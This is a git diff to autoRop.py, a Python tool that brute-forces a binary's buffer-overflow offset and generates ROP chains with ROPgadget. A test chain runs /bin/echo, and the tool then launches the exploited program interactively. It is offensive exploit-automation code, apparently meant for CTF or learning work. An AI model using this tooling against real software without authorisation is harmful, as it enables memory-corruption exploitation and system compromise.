diff --git a/autoRop.py b/autoRop.py index a97e581..f72e9d6 100755 --- a/autoRop.py +++ b/autoRop.py @@ -53,21 +53,47 @@ max_payload = args.max_payload run = args.run input_method = args.input_method -def run_program(exec_file: str, payload: str, mode: str, **kwargs): +def run_program(payload: str, **kwargs): p = None - if mode == 'arg': + if input_method == 'arg': p = process([f'./{exec_file}', payload], **kwargs) - elif mode == 'file': + elif input_method == 'file': with open('/tmp/input.txt', 'wb') as f: f.write(payload) f.flush() p = process([f'./{exec_file}', '/tmp/input.txt'], **kwargs) - elif mode == 'stdin': + elif input_method == 'stdin': p = process([f'./{exec_file}'], **kwargs) p.send(payload) return p + +def find_offset_inc(low: int, high: int): + for i in range(low, high + 1): + print(f" ├─[🤔] Trying payload {i}...") + subprocess.run( + [ + "ROPgadget", + "--binary", exec_file, + "--ropchain", + "--silent", + "--paddingLen", str(i), + "--ropFile", rop_file, + "--execFile", 'rop_exec_default.json', + ], + stdout = subprocess.PIPE + ) + + with open(rop_file, 'rb') as f: + p = run_program(f.read()) + if b'[ Successful ROP! ]' in p.readall(): + print(f" └─[😳] Found offset at {i}!\n") + return i + + return -1 + + def find_offset(exec_file: str, min_payload: int, max_payload: int): print("[ Find Offset Length ]") @@ -96,7 +122,8 @@ def find_offset(exec_file: str, min_payload: int, max_payload: int): return -1 -offset = find_offset(exec_file, min_payload, max_payload) + +offset = find_offset_inc(min_payload, max_payload) if offset == -1: print(f" └─[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!") @@ -130,5 +157,5 @@ if run: print(f"[ Run Program : ./{exec_file} {rop_file} ]") with open(rop_file, 'rb') as f: term.init() - p = run_program(exec_file, f.read(), input_method) + p = run_program(f.read()) p.interactive() diff --git a/rop_exec_default.json b/rop_exec_default.json new file mode 100644 index 0000000..f206242 --- /dev/null +++ b/rop_exec_default.json @@ -0,0 +1 @@ +["/bin/echo", "\n[ Successful ROP! ]"] \ No newline at end of file